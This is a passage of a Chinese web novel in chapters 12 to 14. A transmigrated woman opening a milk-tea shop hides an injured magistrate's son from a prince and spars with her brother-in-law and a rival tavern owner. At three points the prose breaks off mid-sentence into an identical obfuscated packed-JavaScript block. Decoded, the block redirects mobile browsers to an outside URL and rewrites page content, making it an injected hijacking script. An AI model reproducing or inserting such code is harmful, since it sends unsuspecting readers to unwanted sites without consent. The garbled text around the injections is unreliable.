淮王身材高大，不知是使了什么法子，病后原有些消瘦的身影，此时肌肉充盈得恰到好处，撑得一身锦袍力挺板正。 举手投足间，带着一种不令人生厌的侵略感。 桔珏原本还不觉得，可他跟小叔前后站着，对比一番后，她似乎有些明白——男人跟男孩的区别。 却又各有千秋…… 三人站在门口，各怀心思。 一时间，空气安静得有些可怕。 桔珏只得开口，“王爷既然来了，不妨进来一尝。” 徐执节身体一顿，正要插嘴，却不想竟被淮王给接上了。 “好！” 刘怀瑾掷地有声，说罢，看了这位小叔一眼，又补上一句。 “你既开口，本王自然不会推却。” 徐执节：“……” 桔珏浑然未觉，可徐执节却看得分明。 这淮王言语中，竟毫不掩饰，眼底也是一片势在必得。 若是此时放置上一枚等身铜镜，这刘怀瑾的神态，跟那位争宠的妃子，却也并无差别。 进店后，桔珏将人引至上座。 刘怀瑾还未来得及打量铺子，便看到桔珏取下帷帽，徐执节顺手接过。 两人并未多言，相处之中，却自有一番默契。 淮王眉间微蹙。 取下帷帽后，桔珏发丝有些乱，稍捋了捋，一边道，“王爷稍等。” 说话间，不想发髻歪了大半。 半边青丝披落，更衬得她面容如玉，姿容胜雪。 “我们的紫苏饮，尝过的人都说好，店还没开呢，便有人日日来问，若不是他们催的紧，我也不会明日就开店了。” 桔珏边说边拿出帕子，将发丝粗略系起。 刘淮瑾生长在京城，并非徐州本地人，让他尝尝也好。此地人嗜甜，对咸甜口味的奶茶接受度颇高，却不知是否符合外地口味。 桔珏满心都是生意，移步去灶炉前，不忘向食客告罪。 “此间匆忙，一时若有不周之处，还请王爷见谅。” 待桔珏身形消失在屏风处，刘淮瑾才抬眼打量这间铺子。 他倒是小瞧她了。 不过半月，就与日前霉旧的茶肆大有不同，铺子空间原不大，她倒聪明，拆除了半面墙，放置了屏风用于分隔空间。 麻雀虽小，五脏俱全。 装修的倒也温馨别致，淮王拿起碗盏。这金粉釉面虽不如何名贵，却胜在新奇，只是不知要配什么来喝。 若是桔珏在此，他少不得一问。 可此时只有一位少年端立在侧，没甚眼色，连茶水都不会给客人倒。 “还不上茶？” 淮王说话间并不抬眼，语气轻蔑。 徐执节怔了半晌，最终还是应下，拿起桌上的茶壶，又好似想起了什么一般，忽然将茶壶放下。 淮王冷眼瞧着。 见他走到柜台，将帷帽的薄纱小心叠好，放至柜台里侧，做好这一切后，才拿起茶壶去接水。 期间并未多言一句。 这帷帽本是损毁之物，哪里值得如此费心收好？他不过是要做给他看罢了。 刘淮瑾放下手中的茶盏。 这位小叔的心思，他一眼便能看穿。食色性也，些许少年意气，还不值得计较。更何况两人相处时，桔珏这位寡嫂，面色如常，并无任何不妥。 不过是神女无心罢了。 若是往常，便也这么算了，只是一想到桔珏这么久都没有来寻他。 是真的拿乔？还是被什么人绊住了脚…… 这番心思，比起王爷，更像是个闺阁娇小姐，说出去只怕没人信。 刘淮瑾盯着金粉釉面出神。 转念间，想到他还有许多大事未做，如今却在这里猜测起女人心思来，不由自嘲一番，起身便要告退。 可厅内早已空无一人，不知都去了哪里。 * 灶内。 桔珏恨不得生出六臂，一阵忙碌自不必提。 为了模仿出淡奶油的口感，处理生牛乳需花费不少功夫，桔珏垫上帕子，小心端起沸了两遍的牛乳。 这工序日后还得一番计较。 此时，为了加快冷却，只得将其泡在翁中。等待中，桔珏默念起置办的货物，一边将头发用竹簪挽起。 古代讲究身体发肤，受之父母。 坊间发髻编发花样繁多，女子更是以发髻饱满为美，小地方更是如此。桔珏原身的发丝生得又黑又多，只在竹簪上绕了两圈，便再也不能。 她只得歪过头，方便动作，露出后脖颈修长的线条。 不想这一下，余光竟瞥见了一团阴影。 “谁在那里！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418440|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察觉有异，桔珏再顾不上簪发，一手摸向案上的刀刃，厉声质问起来。 那团黑影紧靠厨柜，隐藏在门口的阴影里，约摸着是个成年男子的身量。不留神细看，一时还难以察觉。 难不成是贼匪？ “救命！” 桔珏大喊。 她本意是想提醒店内众人，却不想这一声，竟惹得这黑影从黑暗中走出。桔珏只好攥紧手中的刀具，浑身肌肉紧绷。 冷兵器的时代，不比机械枪斗。 自然是一寸长，一寸强。桔珏看着手里的短刃，心道不好。 “怎么了？” “什么事？” 两道男声相继响起，一时之间又都无法赶过来。 比起手无缚鸡之力的小叔，桔珏只好将希望寄托在刘淮瑾身上，却也只能是空想。 等那人在灶内站定，桔珏这才看清。 这人一身白月牙色的锦袍，手中并无兵器长剑，只一把玉骨扇子。 模样熟悉又陌生。 她是不是从前见过此人？正疑惑间，一阵脚步声响起。 ——“桔珏，你怎么了？” 还未来得及有所反应，却见那男子宛如受到了惊吓一般，复又躲回原地。 继续藏身在那团阴影中。 桔珏看得呆住了。 另一边，徐执节冲门而入，灶门被他撞得，以一种诡异的方式反弹。 就像门后有什么柔软的物件一般。 小叔一时情急，竟并未察觉这明显异样。只顾得上扶着桔珏，上下打量一番，见其没有损伤，呼出一口长气。 “我……我看到了一个虫子。没什么大事，你怎么过来了……”桔珏并未多言。 “原来如此。” 徐执节信了，低声宽慰道，“莫怕，待我日后，将这里清理一番便好。” 说着，见桔珏满头散发，心下了然，向地上看去，果然看到那支竹簪。 待他拾起簪子的同时，还不忘细找那可恶的虫子。 小叔视线似要朝门口望去，桔珏见状，忙一把捉住他手臂。俯身之间，带着香气的冰凉发丝贴近少年人的面庞。 留下一阵酥痒感。 “走罢！” 桔珏将瓷碗从瓮中拿起，放置在托盘之中，示意小叔拿上紫苏水和普洱茶汤。 一切准备就绪后，徐执节却并未动身。 “嫂子。” 他低声唤道。 桔珏心跳如鼓，只当他发觉了什么异样。 却又听他问道，“嫂子，王爷来这里做什么？你何时见的王爷？你怎么不告诉我？” 这些问话像连珠炮一样飞过来，滔滔不绝。 略带青涩的质问声中，还夹杂着一丝陈旧木板的吱呀声。 桔珏嘴角僵硬，好容易听完这些话，胡乱应道，“先出去罢，王爷等得太久了，这可不行。” 此话一出，隐隐有些不对。 果然，徐执节听罢，见桔珏这般紧张那淮王，脚下生了钉，死死不愿挪动，非要问出什么不可。 更糟糕的是，从桔珏的视角里看，厨柜如鬼魅的黑影，此刻正对着她。 然后猛然伸出一只苍白的手。 扶在木门上。 “这铺子就是王爷送我的，他自然能来。” 桔珏双唇发白，神色有些慌乱。 见此，徐执节冷笑一声，堵在灶台前，并不起身。 正当桔珏以为局面乱得不能再乱之时，听得似有木板被撞裂，其中还夹杂着瓷片碎裂的声音。 然后听得淮王一句焦急的发问。 “桔珏！” “你在哪里！” 12. 第 12 章 昏暗的灶堂内，徐执节站在桔珏面前，丝毫没有退让的意思。 桔珏深吸一口气，伸手要推开徐执节。 谁知小叔看着清瘦，胸膛却是硬邦邦的，浅推一下并未后退。只因桔珏不敢用劲，否则小叔脚步踉跄之下，不免就要撞倒木门。 而那门后，还藏着一个气若游丝的男子。 “还不让开？” 桔珏面色不虞。抬眼间，看到徐执节神色如墨，眼神晦暗不明。不知是否是灯光的缘故，小叔整个人散发着一股偏执的危险气息。 桔珏对此浑然不觉。 “……这铺子竟是王爷送的？我怎得半分也不知情？” “嫂子……” 徐执节缓缓道，同时慢步倾身向前。正巧那外间，忽得浮云蔽日，一时遮住了天光。灶堂内，几乎不见人影。 一片黑暗中，桔珏的听力变得异常清晰。 只觉那声“嫂子”似从喉间滚出，带着一股莫名的粘腻感。 不知是否靠近翁缸，温度偏低的缘故，桔珏心底一阵发寒，外间王爷的脚步声越来越近，偏小叔不知何故，傻挡在此处。 反复下来，桔珏心中不由火大。 许执节这孩子是怎么回事？是不是青春期到了，怎得如此任性妄为！桔珏心中一口怨气上来，一时间却抒发不得，只堵在胸膛间。 她收下店铺，其中另有隐情。 王爷轻浮不假，随手送铺子也是真。奈何淮王此举，多半是为了暗中收集糖盐税务，其中惊险万分，桔珏并不打算让徐执节知道。 自己如此煞费苦心，他却整日不在学堂上用工夫，净是给自己添堵。 就像此刻。 那质问的语气，显然是对她这个长嫂没半点尊重。 更糟糕的是，刘怀瑾显然找到了灶堂入口，只听那脚步声越来越近，便可知了。绝不能让王爷看到那门后之人！桔绝心中打定了主意。 眼前少年身形浅薄消瘦，即便有一些精干的肌肉，也决计挡不住她！ 桔珏心底一横，便抬步向前。 窗外。浮云缓缓散开，灶内重新变得光亮起来。 徐执节听到铺子是王爷所赠，自然想来就来，内心升起一股执拗来，不顾一切非要先问个明白才好。故而挡在桔珏身前。 然后就看到桔珏。 他的嫂嫂，抬步向他而来。 偏这会光线渐明，引入眼帘的便是桔珏满头发丝倾泄，映衬的面容如玉。在昏暗的灶堂上，画面像是被调高了对比度，美的令人惊心。 徐执节双手微动。 虽依旧站在原地，可身体却不自知地向前倾去。 …… 你还敢倾身？！ 一来一回之下，两人本就距离极近，现下更是可以看清对方脸上的痣了！ 桔珏看着小叔这番挑衅的动作，气不打一出来。咬了下唇便要张口指责，可透着窗外的天光，几乎能看出徐执节纤长的睫毛。 根根分明，垂落在眼睑处，挡住了一片神思。 跟这少年相处这么久，桔珏自以为摸得清这人的脾性。可现下，那再熟悉不过的少年面庞，竟无端变得陌生起来。 桔珏张了张唇。 指责的话还是没能说出来。 —— “桔珏！” 谁知这一犹豫，王爷便推门而入。 灶堂真真是难寻！刘怀瑾原有些着急，看到灶堂内狭小而脏乱，竟还囤积了柴火，难道这就是汤品的来源之地？他心内颇有些看不上，面上却不表。 然后便看见两人，近乎是贴身而立。 “……桔珏？” 桔珏面露慌张，见小叔还是不动，只得一把推开徐执节。这一推，桔珏手下未留余力，眼见徐执节踉跄着，不由自主地向门后退去。 而那人正在木门之后！ 桔珏心中大急，忙拉住小叔袖口，一边侧身挡住王爷的视线，不忘用脚将门勾回。 这番异常，看在刘怀瑾眼里，却因顾念着桔珏的安危，隐而不表。他上前扫视了一番，见桔珏无虞，才放下心来。 “可是有歹人闯入？” 王爷面色不善。 此地民风淳朴，早在看见有人当街行凶，便可略知一二，有盗贼闯入却也不稀奇。这样想着，心中早将本地官场骂了个狗血喷头。 “不是不是。刚才是一只野猫无缘故窜进来，吓了我一跳，已经跑了。只是王爷您怎么进来了？” 桔珏忙解释。 此话一出，却惹得小叔和王爷心中同时犯疑。 徐执节先进入灶堂，桔珏自称受到了惊吓，可是一只小虫，而非野猫。此番言行不一，不是是何缘故？ 原本徐执节还心中负气，现在却暗自思索，神情不明。 至于淮王。 他当日在街上看得分明，桔珏并非普通女子。在性命不保时，尚且能用肩胛骨迎刃而上，手下却在蓄力。当日命悬一线之际，她能极快做出最有利的决定…… 这样的人，会被一只野猫吓到？ 刘怀瑾目光如炬，扫视了一圈灶堂后，最终落在桔珏强装镇定的脸上，淡淡道。 “既然是野猫，何必大惊小怪？” 被他这样看着，桔珏心虚得不行，不由低下头，拿上托盘，从瓮中取出冰好的瓷碗。 “王爷，君子远庖厨。灶堂不洁，咱们还是去外堂说话罢。” 刘怀瑾原有三分警觉，这下倒有七八分了。他低声应下，而后见桔珏放松之际，端起托盘上的碗盏，置于手心看了看。 似乎是嫌弃灶堂昏暗不明，转着身子走向光源。 桔珏看得心惊。 好在王爷并未察觉出什么，将瓷碗重新放在梨花托盘上，笑道，“还以为是什么新花样，不过是一碗牛乳。此地虽非牧场，寻常的牛乳可并不金贵。桔珏。” “这便是你的底牌？” 桔珏扯动嘴角，略笑了笑。 徐执节本就对王爷充满敌意，见嫂子百般推让，更是觉得王爷咄咄逼人。 “王爷！灶房杂乱，这里不是尊驾该来的地方。至于铺面生意，自不必您来费心了。” 徐执节上前一步，挡在两人中间，语气不善。 少年出身贫寒，连县令都不曾见过，更何况是王爷这种天皇贵胄？可凭着一股子书生意气，再加上曾见过此人病榻上的模样，却也并不畏惧。 心中郁郁，便由着性子呛火。 ——啪！ 王爷忽然抓起瓷碗，一把摔在地上！瓷碗顿时四分五裂，其中的牛乳也尽数撒去。 大半泼在了老旧的木门上。 没人会想到刘怀瑾会忽然发难，一时间，在场四颗心都砰砰作响。 “本王与林姑娘说话，何时轮得到你来插嘴？” 王爷拂正衣襟，冷笑一声。 刘怀瑾年少又生的好，平日又极注重礼仪，动作之间自有一股贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418441|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气，却也是偏偏公子，并不骇人。可谁曾想，他发怒后，小小灶堂里，空气犹如凝滞。 甚至就连木门，也被吓得轻微作响。 徐执节咬紧牙关，正要硬顶回去—— “够了！” 桔珏抬步上前，与王爷站在一侧，面朝小叔。声音不高，却带着罕见的厉色，“徐执节，出去。现在！” 徐执节面上一片不可置信，“嫂子……我…” “出去！” 桔珏重复道，语气一片严肃与决绝，“这是我跟王爷的铺子。你再敢多说一个字，现在就滚回村里！” “永远别再进这个店门！” 背光下，桔珏的面容几乎看不清。 可两人站在一侧，就连瞎子也能觉出眼前男女，恍若壁人。 门外树影斑驳，撒在徐执节面上，直砸得他面色惨白。他哆嗦着嘴唇，看了看桔珏，最终猛地撞开灶堂门，冲了出去。 灶堂内，只剩下桔珏和刘怀瑾两人。 桔珏立刻蹲下，声音平静道，“王爷息怒。” …… 她半点没有长进。 刘怀瑾深吸一口气。桔珏行的礼，依旧是不伦不类，跟当初在街上一个样。 “小叔年少不懂事，冲撞了您，民女代他赔罪。” 她倒乖觉…… 这样的相貌，即便不做任何表情，眼波流转间，自是一片的可怜相儿，仿佛若是借故做筏儿，就是他刘怀瑾不对一般。 只可惜……这种人，他早在宫里见多了。 刘怀瑾半天没接话。目光却落在桔珏身后，那个被桔珏挡的严严实实的旧木门上—— ——泼洒的牛乳，正缓缓渗入木缝。 王爷忽然抬脚，靴底踩在一片碎瓷片上，发出咯咯作响的研磨声，好像踩在了某种骨头上。 “野猫？”淮王慢条斯理地开口，语气听不出喜怒。 “能把门抓出这种痕迹的猫，本王倒是头回见。” 桔珏抬眼看去，心下一沉。 ——只见木门上，残留几道新鲜的抓痕和血迹，渗在木缝上还未完全干透。 桔珏自知瞒不过了，腿下一软，便一屁股坐在了地上，低声道，“王爷慧眼。” 刘怀瑾见此，几乎要气笑了。 谁知桔珏像豁出去了一般，竟然开始收拾起了地上的碎瓷片，动作麻利，显然是干惯了此事。 轻扫完后，利落地拍了拍手，站起身来，“王爷，门后是民女的一位故人。他……他惹了某些麻烦，无处可去，暂且躲在此处。” “民女知道此事不妥，只叫他赶紧离去，不愿污了王爷尊目，故而假口隐瞒。” 原身啊原身，都是你的风流债。 桔珏深吸一口气，缓缓道，“若是王爷觉得不妥，民女这就报官，交由官府处置。” 刘怀瑾看了她许久，只觉桔珏面上恳切，坦诚，未见有任何心虚之处。 “故人？”他轻笑一声，意味不明地说道，“林桔珏，你的故人倒是有趣。” 刘怀瑾倾身上前，近得能嗅闻到她发上的皂香，抬手挑起一缕发丝。 “本王今日，是来尝糖水的。” 他忽然转开话题，伸手拂去桔珏肩上沾染的灶灰，“既有人扰了兴，便罢了。” 刘怀瑾收回手，转身欲走，却在门槛处停住。 “给你半个时辰。”他没回头，声音冷淡，“把你那些故旧，清理干净。” 13. 第 13 章 桔珏咬了咬下唇。待到王爷转身离开后，反手拉开木门。 门后是一个衣袂飘飘的苍白公子。 他就是当初资源赠与百两银票的县令公子——许须熙。 那许须熙早已经支撑不住，整个人神志不清，只勉强依靠在墙面上，蹭了一身的灰。 桔珏皱起眉头。 这位县令公子，在小小的徐家村犹如天神一般，平日里斗鸡撵狗，就没有他不敢做的事。年纪虽比小叔略大些，却懂得一些诗书，也做得些许文章，却从未在科举功名上用心思。好在投得一个好胎，慵闲顺意，这会子是怎么了？ 不知从哪弄出这一副灰头土脸的形象来？整个人没有丝毫血色，乍一看，简直像是前来索命的白无常。 若不是那把玉骨扇子有些眼熟，怕不是要把他当歹人拿下。 “你还记得你的名字吗？” 桔珏问了几句，见人仍旧是迷糊，忙将其扶至门槛上。想来晒着阳光，很快就能转醒，却仍不放心，走至后厨。 灶堂一片狼藉。 适才虽收拾了瓷片，可牛乳洒在柴火上，留下了斑驳的痕迹。梨花托盘上，摆放的茶汤早已凉透，奶油盅也东外西斜，倒了大半。 本着不浪费的原则，桔珏拿起凉透的茶汤，走至许须熙身边，便要灌下去。 许须熙面庞白皙，唇无血色，原本肆意的眉眼，现今笼罩了些许愁云…… 桔珏无法共情半分。 好在大半凉茶灌下去，再加上阳光的炙烤，这样一冷一热，反倒激得许须熙睁开眼睛。他看着眼前忙前忙后的女子，幽幽道，“你这个……” “黑心，短命的。” 不过短短几句话，他说得极为费力，胸口上下起伏间，没成想一只玉手伸了过来，带着一股不知名的香气，稳稳贴在了额头。 没病啊…… 桔珏收回手，秀美微蹙，复问道，“你还记得你的名字吗？” 不问还好，这一问，许须熙的面色，正以肉眼可见的速度恢复。他不顾羸弱的身躯，抬手便要打掉桔珏手中的茶盏。 这可不行。 桔珏眼疾手快，稍稍用力便躲开。怎么一个个的，都对她的瓷器碗盏有想法？桔珏神色严肃。 “你今日过来做什么？为什么要躲在门后？” “我还不是为了……”话说到一半，许须熙像是想到了什么，神态收敛道，“哼！你求我。” “……哦。” 桔珏站起身，回灶房拿上一个铜壶，便要往堂屋走。这般任性的少爷，她可不惯着。 “你！”许须熙见她果真走出两米，气急道，“你敢走！” 桔珏身体顿了顿，长叹一口气，缓缓道，“许公子，我还是要做生意的，你带着一身伤，平白无故躲在店里就罢了，也不说明原因。不过你不说我也知道。镇上敢伤你的人，除了县令老爷，我还想不出第二个来。” “只是你们父子对擂，何苦牵连到我？” 店铺开业前，她还有许多事情要办，恨不得马上支走此人，却又不好态度强硬，只得出声劝道，“许公子还是早早回去吧。带着这一身伤口，也该好好将养几日，不然若是夫人看到了，定要伤心了。” “林桔珏！” 许须熙声音低沉，没有丝毫波澜，“你真要绝情至此？” “嗯？” 他们不是早就分道扬镳了吗？那百两分手费还在自己匣子里搁着呢！桔珏听得奇怪，一时间摸不着头脑，只得两肩一耸。 “嗯。” “果然……”许须熙忽自笑起来，面色红得有些不太正常，“好！好！竟是我多事了，还想来帮你。哼，爹说的果然没错！你果然跟了淮王，好啊。你且慢慢看着。” “看他还能活多久！” * “林姐姐！你怎么了？” 说话声音是王保。那日他在此尝了紫苏饮后，便惊为天人，却苦于没有开业，便一直想着这一口。今日在镇上逛庙，却见好些人在哭，看了一会甚觉没趣，于是走到这里碰碰运气。 “哦，没什么。” 桔珏眼见茶盏里的水溢了出来，放下铜壶，拿来帕子擦了擦。 不知为何，许须熙最后的话没甚缘由，却听得她心烦意乱，总觉得不妥。本想到堂屋找淮王商议，却不知他去了何处。 店内空荡荡的，就连小叔也不见，只有王保一人。桔珏到时，见他正毫不客气地自给自足，将店内的茶果子倒了一盘，吃了起来。 “林姐姐，你有那么好的手艺还有什么可担心的？” 王保吃了干噎的点心，锤了锤胸口，又低头顺着茶盏吸溜了一圈，才勉强顺过气来。 “不过林姐姐，你还是要想好对策才好。”王保压低声音说道，“虽都是做生意的，可他们也忒不讲究了些。” “什么？”桔珏听得奇怪，示意他继续说下去。 “你还不知道吗？” “我今日从东街往回走，可瞧见热闹了。对面酒楼定是听到了风声，知道林姐姐你快开业了，竟说要开业十年，感恩酬宾！”王保撇撇嘴，“这只能哄骗些乡巴佬了，整个徐家镇，谁不知道酒楼是县令上任那年开的？到如今，总共有三个年头。” “那些伙计在东街宣传，捧上木盘，见人就发酥糖，还说请了江南的老师傅做茶博士，据说明日就推出新品——碧涧云芽。” “我舅说这可是江南的名茶。”王保说罢顿了顿，自觉不妥，偷瞄了一眼林桔珏的面色，找补道，“不过我还是最喜欢林姐姐家的茶。” “甜滋滋的，没有那些茶味，最好喝了。” 桔珏听得心内一滞。 奶茶还算是茶吗！即便在现代，做奶茶的茶叶都是些散茶，好茶叶谁来做奶茶呢? 堂内，桌上瓷盘，尽是些糖油混合物品，王保却吃的满脸开心。这小学生的口味，却发表如此高的评价，桔珏一时也不知道该不该开心。 不过这番插曲，反倒是令桔珏忘了适才的烦忧。 “酒香不怕巷子深，就算一开始生意不好，也总会好起来的。我就等着林姐姐开店了。嘿嘿。” 王保笑得没心没肺。 “别吃了。” “嗯？”王保停下手里的动作。 林姐姐一向大方，怎得今日如此小气？莫不是刚才说错了话，惹得她不快了？ 王保心下有些悔意，却又听得桔珏斩钉截铁道。 “走！今日咱们去吃大餐。” * “哎！您就将就着坐罢！” 伙计言语充满不耐烦。他在酒楼干了这么久，就没见过谁来吃饭还带着帷帽的！更别说那帷帽破破烂烂，连线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418442|200793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边都露出来了，可见是个不讲究的。 那女人听声音年岁不大，却随身带了个半大的少年，指不定身上有什么故事。 “咱们这儿雅间早就排满了，就算有钱也进不去。” 伙计鼻孔里喷气，一副瞧不上二人的样子。王保看的负气，一拍桌子就要叫嚷，“你看看大爷我是谁！” 说着从怀里拿出一把碎银来，扔在桌上。 桔珏眼见他气恼之下，手头不准，两块小银子被桌面弹起，不知掉在了何处，不免有些肉疼，忙拉过王保，低声道，“好了好了。不要跟他计较。” “快去将你们店里最招牌的菜都端上来。”桔珏一面卸下帷帽，补充道，“还有最新的饮品。” 因为此前曾跟酒楼伙计争执过，桔珏这才戴上了帷帽。可眼前这伙计看着眼生，还领着人到了最偏僻的角落，倒也无碍了。 帷帽一取下，纱巾后的琼鼻秀眉便显现了出来。 这女子所穿所戴并不如何华贵，但只瞧见面容，便知是一等一的神仙人物。店小二一时有些结巴，直到桔珏再次复述，才回过神来。 “姑娘有所不知，我们这新品明日才上，不过山梨雪芽是店内的招牌，最划算不过了，您二位一尝便知。” 这人前倨后恭，说话间，竟是在为桔珏二人省钱一般。 “我们可不是缺钱的人家。”王保嗤笑一声。 店伙计点点头，看了眼桌上半新不旧的帷帽，没有作声。 且让他们打肿脸充胖子罢！ 酒楼本就生意红火，一经宣传，更是人声如沸。 别说是雅阁了，八仙桌也都是全满。新来的客人挤在柜台前张望，店内伙计统一托着红漆木盘，在人群中穿梭。 “山梨雪芽一壶——小心烫着！” “客官里面请！” 看这情形，若不是二人来的早，根本就上不了桌。桔珏等了半日，才陆陆续续上菜。 桔珏动了一筷子，便觉出好处来。 这鸭油像琥珀一般，润而不腻。不知是怎样新奇的古法，入口清酥油润，肉却一点也不柴，竟还有山泉般的清冽回甘。 间隙间，却见王保早吃的满口流油了。 桔珏又盛了一碗汤来。这取自三年陈金华火腿吊汤，用文火逼出琥珀脂膏，再以冰镇藕丝沁入。脂润裹着脆爽，咸鲜里透出沁甜，妙就妙在肥腴与清鲜只在齿间一转。 只这两道，桔珏便心内叹服。 不愧是镇上唯一的酒楼，菜品竟比之前县令的客栈都好上不少。自穿越以来，桔珏不亏肉食，自以为吃的算是很好了，这样一比，却是小巫见大巫。 还好开的不是饭馆。 看王保吃的飞快，桔珏不禁想起此前那只羊腿。这小子口味挺刁，怪不得当时满桌就他不动筷子。欸，还是徐执节给自己面子。 想到此处，桔珏忙将菜品留出一部分，好打包给徐执节。 “再拿一个食盒来！” 桔珏拦下伙计，动作间却不慎将帷帽掉在地上，又侧身去拾。 ——“林姑娘也来赏光。” 一道熟悉的声音从身后响起，桔珏回身去看时，见到一位俊美公子身穿墨色长衫，发髻斜插一支珍珠簪。唇口像是染了胭脂，笑着说话时却露出利落的下颌线。 正是县令身边的录事——沈砚。 14. 第 14 章 “是你。” 林桔珏对此人没什么好感。见他孤身一人，身后并未有官场权贵撑腰，应了一身便施身坐下，抿上一口热茶。 沈砚看在眼里，挑眉问道，“店里的茶可还入得了姑娘的口？” “不过，这山梨雪芽入口清冽回甘，却也称不得极品。”沈砚话锋一转，讥讽道，“瞧我忘了，林姑娘出身乡野，怕也没见过什么好茶。” 他面容本就有些阴柔之气，言语间更显刻薄刁钻。 “你说什么呢！” 王保本就厌恶面容娇媚的妖精女子，却不想竟有男子做此打扮，言辞跟家里争宠的二太太一个模子，厌恶之心更盛，大声叫嚷起来。 “沈录事怎么是一个人？”桔珏点明此人的身份后，端起茶盏轻轻嗅闻。 “这白茶年份虽好，果木香气却有些淡了，一盏入喉，便泛上油润滑腻，确实算不得好茶。”说罢，桔珏秀眉微蹙，面带疑惑道，“怎么——” “县令不在，沈大人便喝不到茶中佳品了？” “你——” 这贱人！竟敢取笑于他？沈砚是如何一步步上位，没人比他更知道其中的艰辛。好在时来事易，如今在这小小的徐家镇，他就是一人之下，万人之上！又何时被人如此拂过面子？ 现如今即便是县令夫人，对他也不敢如何！ 沈砚眼底闪过一模狠厉，正要发作间，似又想起了什么，生生忍了下来。 “林姑娘伶牙俐齿……只是这世道，牙尖嘴利，怕是会闪了舌头。” 沈砚抬眉，瞥了一眼茶盏，不等桔珏回应，又云淡风轻道，“这茶确算不得什么，明日的碧涧云芽，才是难得一见的佳品。姑娘不妨赏光。” 王保听得云里雾里，不知怎得，两人气氛又热络起来。 桔珏却心知肚明。 此间为镇上唯一的酒楼，之前宴请王爷也安排在这里，再加上沈砚一副主人做派，便可见一二。 沈砚——便是酒楼明面上的东家。 “明日小店开业，怕是不能前来。”桔珏索性把话挑明。 谁知沈砚轻嗤一声，意味深长道，“你的铺子倒是……别具一格。不过做生意，光靠别致可不行，得靠根基。” “沈录事说得极是。” 桔珏面色如常，“老话说的好，根基不牢，地动山摇。只是不知，您这酒楼的根基，是扎在茶汤里，还是扎在别处？” 沈砚听罢，竟拍起手来。 他攀附已久，终于得来权势。往日里，对不懂变通的呆板之人就颇为不屑，只觉得其沽名钓誉，嘴里满口的夫子道理，真真是读书读傻了！因此桔珏讥讽他倚靠权势，却也不觉得有什么。 “说得真好听。”沈砚直视桔珏，不以为意，“可人活世上，谁又能说其全然没有依仗？” “就连姑娘你，与那淮王，不也走得近。” 沈砚凑上前，将手放在桔珏肩上，正要继续。 “说话便说话，谁同你拉拉扯扯的！”此人有官名在身，举止却轻浮至此，桔珏忙向后退了几步，伸手扇了扇周围的空气，将那人身上的脂粉香气挥开。 尤嫌不够般，桔珏还甩了甩肩膀，瞪着沈砚。 沈砚：…… 同是天涯沦落人，她装什么装！沈砚最瞧不上的，便是沦落风尘，却要标榜得如贞洁烈女一样。 不过是攀了一根更粗的高枝罢了！ 他面上一红，轻哼一声，正要拂袖而去，终是气不过。末了，撂下一句话。 “王爷是京城的风，来得快……” “去得也快。” * “执节？” 桔珏同王保两人回到铺子，看到了熟悉的身影。也不知他是什么时候跑回来的？有没有用过膳？ 想到此前对他疾言厉色，虽是权宜之计，却不知他是否会记恨自己…… 桔珏脑中思绪纷飞，面前的少年并不抬眼，反手拿起柜台上的剪刀，将燃尽的烛芯剪去。 白皙修长的手指，插在剪刀中，看似漫不经心地，实则屏住了呼吸，以防那跳动的烛火，扰乱心神。 桔珏拿着食盒的手顿了顿。 此前就在后院，那灶火旁，少年眉梢眼角，满是倔强，堵在她面前，眉峰皆是棱角…… 桔珏不知该如何开口。 两人虽一起生活多年，但本质上不是家人，如今更是少以叔嫂相称。桔珏正思索间—— 店铺忽然一片漆黑。 那烛火完全熄了。 “大哥！你会不会剪蜡烛芯。”王保惊呼一声，接着大剌剌调侃起来，“还没娶媳妇呢，手就抖了。” 徐执节：…… 经此一遭，桔珏不由莞尔，提步上前，将食盒放在柜台。 见徐执节扔在默默点蜡，笑道，“这里不用你忙了，想你还没吃晚饭，便带了一盒与你，先去吃饭吧！” 桔珏早已饱了，可想起那道炭烤鸭子，还是不由得分泌起了口水。 “我不吃。” 少年态度冷漠。桔珏愣神间，又听得徐执节开口道，“王保。” “斌叔找了你半日，却在这里闲逛，还不归家去？” “啊！”王保一拍脑袋，转身向外跑去。 “林姐姐，我先走了！” 店内烛火很快重新亮起。 老人说，做生意开张前，都要点上一只红烛，一整夜都不能灭，寓意生意红红火火。 “也不知重新点上的，还算不算。”桔珏没话找话。 小叔依旧未回应。 眼见气氛有些尴尬，桔珏不禁抓肠挠肚，想着要说些什么，“执节。” “你知道吗？”桔珏一脸正色。 小叔回过头来。 你知道吗？这道炙烤鸭子很好吃……可面前执节神情严肃，桔珏一噎，硬着头皮说道。 “你知道吗……对面酒楼明日要上新茶。” 这话题关系两人生计，想来他定要发表一番言论。 